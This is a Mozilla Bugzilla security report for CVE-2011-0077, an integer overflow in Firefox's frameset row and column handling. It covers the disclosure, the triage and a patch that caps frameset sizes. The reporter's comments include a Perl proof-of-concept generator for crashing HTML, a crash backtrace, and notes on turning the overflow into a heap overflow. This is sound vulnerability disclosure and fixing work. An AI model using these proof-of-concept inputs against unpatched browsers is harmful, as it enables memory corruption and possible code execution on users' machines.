Last Comment Bug 623998 - (CVE-2011-0077) Integer overflow in frameset spec (not bug 576447) w/gcc compiler
(CVE-2011-0077)
: Integer overflow in frameset spec (not bug 576447) w/gcc compiler
Status: RESOLVED FIXED
[sg:critical?][softblocker]
: crash, testcase
Product: Core
Classification: Components
Component: Layout: HTML Frames (show other bugs)
: unspecified
: All Linux
: -- critical (vote)
: ---
Assigned To: cajbir (:cajbir)
:
: Jet Villegas (:jet)
Mentors:
Depends on: 466445
Blocks:
  Show dependency treegraph
 
Reported: 2011-01-07 12:49 PST by Ian Beer
Modified: 2014-07-22 13:04 PDT (History)
19 users (show)
rforbes: sec‑bounty+
See Also:
Crash Signature:
(edit)
QA Whiteboard:
Iteration: ---
Points: ---
Has Regression Range: ---
Has STR: ---
final+
.17-fixed
.19-fixed


Attachments
POC crash on 32 bit linux (ubuntu 10.04) (Firefox 3.6.13) (256.70 KB, text/html)
2011-01-07 12:51 PST, Ian Beer
no flags Details
Overflow in new[] POC (128.24 KB, text/html)
2011-01-07 17:29 PST, Ian Beer
no flags Details
This POC will overflow the new allocator when creating the mChildBorderColors array leading to a heap overflow (176.58 KB, text/html)
2011-01-08 05:01 PST, Ian Beer
no flags Details
Fix for mozilla-central (7.04 KB, patch)
2011-01-18 19:23 PST, cajbir (:cajbir)
no flags Details | Diff | Splinter Review
Crashtests (562.72 KB, patch)
2011-01-18 19:24 PST, cajbir (:cajbir)
no flags Details | Diff | Splinter Review
Fix for mozilla-central (7.18 KB, patch)
2011-01-18 21:12 PST, cajbir (:cajbir)
roc: review+
dveditz: approval1.9.2.17+
dveditz: approval1.9.1.19+
Details | Diff | Splinter Review

Description Ian Beer 2011-01-07 12:49:32 PST
User-Agent:       Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.04 (lucid) Firefox/3.6.13
Build Identifier: 3.6.13

When creating a frameset element both a rows and cols spec are parsed by nsHTMLFrameSetElement::ParseRowCol, which limits their sizes to 100'000 elements.

If a frameset spec is created where the product of the rows and cols sizes is >= 2^32 we overflow the PRInt32 numCells:

layout/generic/nsFrameSetFrame.cpp
    352   PRInt32 numCells = mNumRows*mNumCols;
    369   mChildFrameborder  = new nsFrameborder[numCells];

With carefully crafted values for the rows and cols spec this can lead to arbitrary code execution on some platforms.

Perl script to generate POC:

****************************
#!/usr/bin/env perl
$spec1 = "*," x 61750;
$spec1 = $spec1 . "*";
$spec2 = "*," x 69552;
$spec2 = $spec2 . "*";
print "<html>";
print "<frameset rows='$spec1' cols='$spec2'>
<frame src='example1.com'>
<frame src='example2.com'>
<frame src='example3.com'>
<frame src='example4.com'>
<frame src='example5.com'>
<frame src='example6.com'>
<frame src='example7.com'>
</frameset>
</html>";
****************************

This POC crashes reliably on my 32 bit linux box with the following stack trace:

Program received signal SIGSEGV, Segmentation fault.
nsHTMLFramesetFrame::GetNoResize (this=0xa7edd6b0, aChildFrame=0x0) at nsFrameSetFrame.cpp:1359
1359	  nsIContent* content = aChildFrame->GetContent();
(gdb) bt
#0  nsHTMLFramesetFrame::GetNoResize (this=0xa7edd6b0, aChildFrame=0x0) at nsFrameSetFrame.cpp:1359
#1  0xb74956a6 in nsHTMLFramesetFrame::CanChildResize (this=0xa7edd6b0, aVertical=1, aLeft=0, aChildX=69553, aFrameset=0)
    at nsFrameSetFrame.cpp:1375
#2  0xb74957d1 in nsHTMLFramesetFrame::SetBorderResize (this=0xa7edd6b0, aChildTypes=0xa7ceef20, aBorderFrame=0xa7eddcc8)
    at nsFrameSetFrame.cpp:1452
#3  0xb74970ef in nsHTMLFramesetFrame::Reflow (this=0xa7edd6b0, aPresContext=0xa9c96c00, aDesiredSize=..., 
    aReflowState=..., aStatus=@0xbfffddf4) at nsFrameSetFrame.cpp:1258
#4  0xb74809ed in nsBlockReflowContext::ReflowBlock (this=0xbfffdd00, aSpace=<value optimised out>, aApplyTopMargin=1, 
    aPrevMargin=..., aClearance=0, aIsAdjacentWithTop=1, aLine=0xa7eddaf8, aFrameRS=..., aFrameReflowStatus=@0xbfffddf4, 
    aState=...) at nsBlockReflowContext.cpp:310
#5  0xb747cdbd in nsBlockFrame::ReflowBlockFrame (this=0xa7edd300, aState=..., aLine=..., aKeepReflowGoing=0xbfffdf7c)
    at nsBlockFrame.cpp:3141
#6  0xb747efe0 in nsBlockFrame::ReflowLine (this=0xa7edd300, aState=..., aLine=..., aKeepReflowGoing=0xbfffdf7c)
    at nsBlockFrame.cpp:2408
#7  0xb747f4d4 in nsBlockFrame::ReflowDirtyLines (this=0xa7edd300, aState=...) at nsBlockFrame.cpp:1921
#8  0xb747fe68 in nsBlockFrame::Reflow (this=0xa7edd300, aPresContext=0xa9c96c00, aMetrics=..., aReflowState=..., 
    aStatus=@0xbfffe708) at nsBlockFrame.cpp:991
#9  0xb7486bcc in nsContainerFrame::ReflowChild (this=0xa7edd258, aKidFrame=0xa7edd300, aPresContext=0xa9c96c00, 
    aDesiredSize=..., aReflowState=..., aX=0, aY=0, aFlags=<value optimised out>, aStatus=@0xbfffe708, aTracker=0x0)
    at nsContainerFrame.cpp:800
#10 0xb749f05a in CanvasFrame::Reflow (this=0xa7edd258, aPresContext=0xa9c96c00, aDesiredSize=..., aReflowState=..., 
    aStatus=@0xbfffe708) at nsHTMLFrame.cpp:549
#11 0xb7486bcc in nsContainerFrame::ReflowChild (this=0xa9196bc8, aKidFrame=0xa7edd258, aPresContext=0xa9c96c00, 
    aDesiredSize=..., aReflowState=..., aX=0, aY=0, aFlags=<value optimised out>, aStatus=@0xbfffe708, aTracker=0x0)
    at nsContainerFrame.cpp:800
#12 0xb74cf130 in ViewportFrame::Reflow (this=0xa9196bc8, aPresContext=0xa9c96c00, aDesiredSize=..., aReflowState=..., 
    aStatus=@0xbfffe708) at nsViewportFrame.cpp:284
#13 0xb74678ea in PresShell::DoReflow (this=0xa8553460, target=0xa9196bc8, aInterruptible=1) at nsPresShell.cpp:7296
#14 0xb746c146 in PresShell::ProcessReflowCommands (this=0xa8553460, aInterruptible=1) at nsPresShell.cpp:7432
#15 0xb746d8f8 in PresShell::FlushPendingNotifications (this=0xa8553460, aType=Flush_InterruptibleLayout)
    at nsPresShell.cpp:4910
#16 0xb74670c0 in PresShell::ReflowEvent::Run (this=0xa7bf4e90) at nsPresShell.cpp:7106
#17 0xb7c16b50 in nsThread::ProcessNextEvent (this=0xb5ba1330, mayWait=0, result=0xbfffe85c) at nsThread.cpp:527
#18 0xb7be53a3 in NS_ProcessNextEvent_P (thread=0x0, mayWait=0) at nsThreadUtils.cpp:250
#19 0xb7b5ab31 in mozilla::ipc::MessagePump::Run (this=0xb5bcb910, aDelegate=0xb5b3a7c0) at MessagePump.cpp:110
#20 0xb7bb3732 in MessageLoop::RunInternal (this=0xb5b3a7c0) at ./src/base/message_loop.cc:216
#21 0xb7bb3756 in MessageLoop::RunHandler (this=0xb5b3a7c0) at ./src/base/message_loop.cc:199
#22 0xb7bb37cd in MessageLoop::Run (this=0xb5b3a7c0) at ./src/base/message_loop.cc:173
#23 0xb7ab3c44 in nsBaseAppShell::Run (this=0xb5393150) at nsBaseAppShell.cpp:174
#24 0xb7975108 in nsAppStartup::Run (this=0xb312b310) at nsAppStartup.cpp:183
#25 0xb72ada0e in XRE_main (argc=1, argv=0xbfffefc4, aAppData=0xb5b18380) at nsAppRunner.cpp:3483
#26 0x001119e3 in main (argc=1, argv=0xbfffefc4) at nsBrowserApp.cpp:158

Analysis:
The POC creates a frameset with 61751 rows and 69553 cols, which overflows to allocate memory for 7 frames.

nsHTMLFramesetFrame::Init uses this 7 value throughout and I can't find any opportunity for a heap overflow there, but nsHTMLFramesetFrame::SetBorderResize uses the mNumRows and mNumCols values to iterate through the cells.
(PRInt32 childX = aBorderFrame->mPrevNeighbor + (rowX * mNumCols);)

It passes the computed index to nsHTMLFramesetFrame::CanChildResize, which calls nsFrameList::FrameAt(PRInt32 aIndex) with the out of bounds index:

    276 nsFrameList::FrameAt(PRInt32 aIndex) const
    277 {
    278   NS_PRECONDITION(aIndex >= 0, "invalid arg");
    279   if (aIndex < 0) return nsnull;
    280   nsIFrame* frame = mFirstChild;
    281   while ((aIndex-- > 0) && frame) {
    282     frame = frame->GetNextSibling();
    283   }
    284   return frame;

This will walk off the end of the list and return NULL.

This is then passed to nsHTMLFramesetFrame::GetNoResize without checking for NULL. GetNoResize also performs no NULL check on the pointer it is passed before executing:

   1359   nsIContent* content = aChildFrame->GetContent();

(where aChildFrame is a NULL pointer)

If you can map the null page (eg: an older version of linux, not sure about other systems) you could heap spray hoping to control memory just above 0x00000000 to gain control of execution flow.

There may be a more elegant heap overflow possible using the integer overflow but I haven't found one.

The fix would be to limit the size of frameset specs to something way below 100'000, and a null check on the return value of nsFrameList::FrameAt.

Reproducible: Always

Steps to Reproduce:
1. Run perl script to generate html file
2. Open in browser
Actual Results:  
Crash

Expected Results:  
Not crash
Comment 1 Ian Beer 2011-01-07 12:51:52 PST
Created attachment 502074 [details]
POC crash on 32 bit linux (ubuntu 10.04) (Firefox 3.6.13)
Comment 3 Daniel Veditz [:dveditz] 2011-01-07 14:17:44 PST
Confirming crash on 3.6.14pre
Comment 4 Daniel Veditz [:dveditz] 2011-01-07 16:54:05 PST
I don't see how this could be other than a null deref, and we're generally less worried about old systems that let you map memory at null since so many things fall down in that case.

What insane pages are going to break if we limited framesets to 10x10, 100x100, or 250x250? or even 1024x1024? We don't need to allow framesets with 10 billion frames.
Comment 5 Ian Beer 2011-01-07 17:24:49 PST
Exploiting that particular code path I agree does require the ability to map the null page which really should be stopped by the OS.

However I still think this is exploitable; for example using the method outline in the report for bug 576447 where the overflow actually happens in the new[] allocator.

Crafting new frameset specs with smaller sizes (eg 2^16) leads to this style of overflow and a different AV/crash.

I will attach a new POC showing this.
Comment 6 Ian Beer 2011-01-07 17:29:44 PST
Created attachment 502154 [details]
Overflow in new[] POC
Comment 7 Ian Beer 2011-01-07 17:35:07 PST
This POC just sets mNumRows and mNumCols to 2^16+1 instead, which segfaults inside nsHTMLFramesetFrame::Init

With more carefully chosen values than these for mNumCols and mNumRows (taking into account the sizes of the array elements being allocated) it should be possible to control the overflow more carefully such that a heap overflow is possible.

I will do some more work on it an attach better POC + trace tomorrow.
Comment 8 Ian Beer 2011-01-07 18:03:14 PST
(TYPO: should be 2^15 + 1)
Comment 9 Ian Beer 2011-01-08 05:01:02 PST
Created attachment 502224 [details]
This POC will overflow the new allocator when creating the mChildBorderColors array leading to a heap overflow
Comment 10 Ian Beer 2011-01-08 05:11:49 PST
As per the method used for bug 576447, this now sets the rows to 3078 and the cols to 87211. This leads to the correct value being computed for numCells and to the correct allocations of mChildTypes and mChildFrameborder (which both have sizes of 4 bytes.)

However, when allocating:
    370   mChildBorderColors  = new nsBorderColor[numCells]; 

the size of struct nsBorderColor is 16 bytes, which leads to an allocation of 16*87211*3078 mod 2^32 == 32 bytes.

nsBorderColor is defined as:

     64 struct nsBorderColor 
     65 {
     66   nscolor mLeft;
     67   nscolor mRight;
     68   nscolor mTop;
     69   nscolor mBottom;
     70 
     71   nsBorderColor() { Set(NO_COLOR); }
     72   ~nsBorderColor() {}
     73   void Set(nscolor aColor) { mLeft = mRight = mTop = mBottom = aColor; }
     74 };

so the constructor is called for numCells elements in the array (where numCells == 87211*3078) leading to a heap overflow, which with more work could be more controlled leading to arbitrary code execution.

I've changed the whiteboard back to [sg:critical?] since this shows that the vuln can lead to more than just a null deref.

I'm very new to the firefox dev environment, if the decision as to whether it's critical or not isn't mine to make then please change it back!
Comment 11 Ian Beer 2011-01-08 05:20:50 PST
Also, this may now only affect platforms using gcc/stdlib since as detailed in Bug 576447 and Bug 466445 Win32 should throw an exception on the overflow in new[]
Comment 12 cajbir (:cajbir) 2011-01-18 19:23:21 PST
Created attachment 504959 [details] [diff] [review]
Fix for mozilla-central

This fix changes the maximum number of frameset rows and cols to 100. It adds PR_STATIC_ASSERT's to check that overflows don't occur during the allocations. These assert's cause compile time failures when using the original value of 100000 for the maximum value.

Separate patch containing crash tests to follow.
Comment 13 cajbir (:cajbir) 2011-01-18 19:24:12 PST
Created attachment 504960 [details] [diff] [review]
Crashtests

Crashtests for the issue. These are the poc's produced by the original submitter.
Comment 14 Boris Zbarsky [:bz] (still a bit busy) 2011-01-18 19:27:00 PST
100 is almost certainly too low, actually, unless the Lotus web stuff has been rewritten...

Can we do 1000?
Comment 15 Boris Zbarsky [:bz] (still a bit busy) 2011-01-18 19:27:25 PST
(And no, I'm not kidding; they had tens of thousands of frames for some reason.)
Comment 16 cajbir (:cajbir) 2011-01-18 19:34:12 PST
I had done a limit of 1,000 but that resulted in large memory allocation and the browser hanging for a long time.
Comment 17 Robert O'Callahan (:roc) (email my personal email if necessary) 2011-01-18 19:55:33 PST
(In reply to comment #14)
> 100 is almost certainly too low, actually, unless the Lotus web stuff has been
> rewritten...

Urgh. Is there a bug with more information?
Comment 18 Boris Zbarsky [:bz] (still a bit busy) 2011-01-18 20:01:29 PST
Um... there are some really old bugs in which they were complaining about our 5000-frame-total cap on frame trees and the like...  (And it might not have been Lotus, though I think it was.  It was _definitely_ something IBM.)  I could dig up the bug numbers if that would really help, I guess.
Comment 19 Robert O'Callahan (:roc) (email my personal email if necessary) 2011-01-18 20:04:42 PST
This patch allows 100 frames in each direction. Nested framesets could easily take the total number of frames over 5000 if people wanted that. The question is whether people need more than 100 rows or columns in a single frameset.
Comment 20 Robert O'Callahan (:roc) (email my personal email if necessary) 2011-01-18 20:06:45 PST
+  // Maximum value of mNumRows and mNumCols is NS_MAX_FRAMESET_SPEC_COUNT
+  PR_STATIC_ASSERT(NS_MAX_FRAMESET_SPEC_COUNT < UINT_MAX / sizeof(nscoord));
   mRowSizes  = new nscoord[mNumRows];

I don't think we actually need these asserts where we're not doing multiplication ourselves. I assume that the implementation of 'new' will avoid overflow when it internally multiplies by sizeof(nscoord) etc.

+  PR_STATIC_ASSERT(NS_MAX_FRAMESET_SPEC_COUNT < UINT_MAX / sizeof(PRInt32));

Here I guess we should be asserting that NS_MAX_FRAMESET_SPEC_COUNT < PR_INT32_MAX/NS_MAX_FRAMESET_SPEC_COUNT.

+  // Ensure we can't overflow numCells
+  PR_STATIC_ASSERT(NS_MAX_FRAMESET_SPEC_COUNT * NS_MAX_FRAMESET_SPEC_COUNT < PR_INT32_MAX);

Same here. I don't think there's a guarantee that the compiler's calculations won't overflow...
Comment 21 Robert O'Callahan (:roc) (email my personal email if necessary) 2011-01-18 20:09:08 PST
Maybe instead of capping NS_MAX_FRAMESET_SPEC_COUNT we should just check that memory allocation calculations don't overflow, and move on. Or set the limit to something ridiculously high like 16000.

As for the test, we can try create a frameset which is 20,000 x 1 and see if we get the number of frames we expect.
Comment 22 cajbir (:cajbir) 2011-01-18 20:27:43 PST
(In reply to comment #20)
> I don't think we actually need these asserts where we're not doing
> multiplication ourselves. I assume that the implementation of 'new' will avoid
> overflow when it internally multiplies by sizeof(nscoord) etc.

Unfortunately I don't think we can trust the implementation. See bug 466445 and bug 576447 for an example of it in practice.
Comment 23 cajbir (:cajbir) 2011-01-18 21:12:02 PST
Created attachment 504982 [details] [diff] [review]
Fix for mozilla-central

Addresses review comments. Working on test changes as suggested now.
Comment 24 cajbir (:cajbir) 2011-01-25 16:57:22 PST
attachment 504982 [details] [diff] [review] landed on mozilla-central:
http://hg.mozilla.org/mozilla-central/rev/25b143f03be4
Comment 25 cajbir (:cajbir) 2011-01-25 19:31:40 PST
Comment on attachment 504960 [details] [diff] [review]
Crashtests

On discussion with roc I'm obsoleting the crash test. I've been unable to create a test that doesn't consume huge amounts of memory (>2GB)  when succeeding.
Comment 26 cajbir (:cajbir) 2011-01-25 19:32:17 PST
attachment 504982 [details] [diff] [review] applies cleanly to 1.9.1 and 1.9.2. I'll request approval once it's baked on mozilla-central for a bit.
Comment 27 cajbir (:cajbir) 2011-01-31 19:03:06 PST
Comment on attachment 504982 [details] [diff] [review]
Fix for mozilla-central

Requesting approval to land on 1.9.2 and 1.9.1. The patch has baked on mozilla-central for about a week without issues. The patch has no performance issues.

The oly backwards compatibility issue I can think of is that we've lowered the number of frames that a frameset can have to 16,000. Frames with more than this number previously would allocate enormous amounts of memory, or crash and hit the error described in this bug so I don't see this as a risk.

Tests were not included on discussion with roc as the tests that could trigger the error case allocated many gigabytes of memory making it problematic to run.
Comment 28 Robert O'Callahan (:roc) (email my personal email if necessary) 2011-02-03 03:17:41 PST
This is actually fixed on trunk by Chris's checkin.
Comment 29 David Baron :dbaron: ⌚️UTC-10 2011-02-05 09:28:36 PST
Comment on attachment 504982 [details] [diff] [review]
Fix for mozilla-central

These approval requests should really be for the releases that aren't already built and about to go out to users.
Comment 30 Daniel Veditz [:dveditz] 2011-02-09 10:59:11 PST
Comment on attachment 504982 [details] [diff] [review]
Fix for mozilla-central

Approved for 1.9.2.15 and 1.9.1.18, a=dveditz for release-drivers
Comment 32 Ian Beer 2011-03-03 10:26:53 PST
I notice that this still crashes 3.6.14, released a couple of days ago.

(at least on the Ubuntu 10.10 3.6.14 packages which went out today)

Should this have been patched in that release?
Comment 33 Al Billings [:abillings] 2011-03-03 10:53:06 PST
No, Ian. Read comment 30. This is approved for 1.9.2.15 (which will be 1.9.2.16 as of this morning). This was not fixed in 1.9.2.14 or 3.6.14.
Comment 34 Ian Beer 2011-03-03 11:01:19 PST
You're right, sorry. I'd just upgraded the ubuntu package, ran some quick tests and saw this crash. I hadn't read that comment properly, my bad.
Comment 35 Daniel Veditz [:dveditz] 2011-03-04 10:14:35 PST
The "3.6.15" we're releasing today does not fix this bug, the release containing this bug fix has been renamed to "3.6.16" and the bugzilla flags will be updated to reflect that soon. Today's release is a re-release of 3.6.14 plus a fix for a bug that prevented many Java applets from starting up.

Note You need to log in before you can comment on or make changes to this bug.